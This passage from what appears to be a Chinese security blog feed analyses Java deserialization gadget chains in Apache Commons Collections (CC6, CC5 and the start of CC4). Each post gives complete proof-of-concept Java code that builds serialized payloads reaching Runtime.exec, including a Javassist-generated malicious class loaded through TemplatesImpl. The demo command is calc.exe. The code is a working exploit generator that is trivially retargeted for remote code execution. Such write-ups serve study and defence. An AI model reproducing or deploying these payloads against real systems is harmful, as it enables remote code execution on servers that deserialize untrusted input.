<pre><code class="language-java"> static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
</code></pre>
<p>选用<code>HashSet</code>还有一个原因在于其重写了<code>readObject()</code>并且在该方法中直接调用了<code>put()</code>。</p>
<pre><code class="language-java"> private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
</code></pre>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap传入的值需要一个map类型,因此用HashMap
HashMap<Object, Object> innerMap = new HashMap<>();
Map outterMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outterMap, "aaa");
//HashMap版本写法
// HashMap<Object, Object> map = new HashMap<>();
// map.put(tiedMapEntry,"bbb");
//HashSet版本写法
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
outterMap.remove("aaa");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(outterMap,chainedTransformer);
// mySeriable(hashSet);
myDeseriable();
}
public static void mySeriable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
oos.writeObject(obj);
}
public static Object myDeseriable() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser6.bin"));
return ois.readObject();
}
}
</code></pre>
<h2 id="参考资料">参考资料</h2>
<p>https://www.anquanke.com/post/id/233410#h2-7<br>
https://blog.csdn.net/qq_35733751/article/details/119077706<br>
https://cdmana.com/2022/03/202203130641446748.html</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[【Java反序列化】CommonCollections5利用链]]></title>
<id>https://limpid94.github.io/post/a/</id>
<link href="https://limpid94.github.io/post/a/">
</link>
<updated>2022-04-06T06:55:49.000Z</updated>
<content type="html"><![CDATA[<h2 id="调用链">调用链</h2>
<pre><code> Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
</code></pre>
<h2 id="差异点">差异点</h2>
<p>CC5和CC1很相似,但是由于高版本的JDK对<code>AnnotationInvocationHandler</code>的<code>readObject</code>方法进行重写,因此将调用<code>LazyMap</code>的<code>get()</code>改成<code>TiedMapEntry</code>的<code>toString()</code>。为了方便调用<code>TiedMapEntry#toString()</code>,将入口点也换成<code>BadAttributeValueExpException</code>。</p>
<h3 id="tiedmapentry">TiedMapEntry</h3>
<p>在该类的<code>getValue()</code>中调用了<code>get()</code>,而且<code>map</code>和<code>key</code>都在初始化时进行赋值(即参数可控)。</p>
<pre><code class="language-java"> public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
</code></pre>
<p>紧接着在该类的<code>toString()</code>中调用了<code>getValue()</code>。此时如果能找到一个类既重写<code>readObject()</code>又在该方法中直接调用了<code>toString()</code>就能构成一条完整的利用链。<br>
经过查找找到<code>BadAttributeValueExpException</code>满足条件。<br>
<img src="https://limpid94.github.io/post-images/1649239982286.png" alt="" loading="lazy"></p>
<h2 id="badattributevalueexpexception">BadAttributeValueExpException</h2>
<p>先看其<code>readObject()</code>,其内部直接调用<code>toString()</code></p>
<pre><code class="language-java"> private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
</code></pre>
<p>但是在构造的时候需要注意其构造函数:</p>
<pre><code class="language-java"> public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
</code></pre>
<p>在赋值时会先判断传入的是否为<code>null</code>,不是就直接调用<code>toString()</code>,直接触发利用链。因此在初始化时 需要先传入null,然后再用反射来修改<code>val</code>的值</p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outterMap = LazyMap.decorate(innerMap,chainedTransformer);
//需要调用lazymap的get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(outterMap, "bbb");
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field badField = bad.getClass().getDeclaredField("val");
badField.setAccessible(true);
badField.set(bad,tiedMapEntry);
// mySeriable(bad);
myDeseriable("ser5.bin");
}
public static void mySeriable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser5.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object myDeseriable(String s) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));
return ois.readObject();
}
}
</code></pre>
<h2 id="参考资料">参考资料</h2>
<p>https://www.anquanke.com/post/id/233410#h3-5<br>
https://blog.csdn.net/qq_35733751/article/details/119077706<br>
https://blog.weik1.top/2021/03/02/CommonCollections2-7%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E5%88%86%E6%9E%90/#CommonCollections5</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[【Java反序列化】CommonCollections4利用链]]></title>
<id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections4-li-yong-lian/</id>
<link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections4-li-yong-lian/">
</link>
<updated>2022-04-05T16:36:57.000Z</updated>
<content type="html"><![CDATA[<h2 id="调用链">调用链</h2>
<pre><code>Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
...
exec()
</code></pre>
<p>CC4采用的命令执行部分同CC2、CC3,而触发部分还是和CC2的结构相类似。<br>
CC4采用<code>ChainedTransformer+TransformingComparator</code>,而CC2采用<code>InvokerTransformer+TransformingComparator</code>,这算是细微的差别吧。</p>
<p>【借用 https://www.anquanke.com/post/id/233393#h2-7 的图】<br>
<img src="https://limpid94.github.io/post-images/1649227036444.png" alt="" loading="lazy"></p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonCollections4 {
public static void main(String[] args) throws Exception {
//获取默认类池
ClassPool pool = ClassPool.getDefault();
//添加路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类
CtClass evil = pool.makeClass("Evil");
//设置类名
evil.setName("MyEvil");
//设置要继承的类
evil.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//创建空的构造函数
CtConstructor newconstructor = evil.makeClassInitializer();
//将字节码插入开头
newconstructor.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
evil.writeFile();
byte[] bytecode = evil.toBytecode();
byte[][] bytecodes = {bytecode};
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytecodes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//++++++++++++++++++++++++++++++++代码执行部分结束+++++++++++++++++++++++++++++++++++++
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(2,comparator);
queue.add(templates);
queue.add("hahaha");
Field cField = comparator.getClass().getDeclaredField("transformer");
cField.setAccessible(true);
cField.set(comparator ,chainedTransformer);
// mySeriable(queue);
myDeseriable("ser4.bin");
}
public static void mySeriable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin"));
oos.writeObject(obj);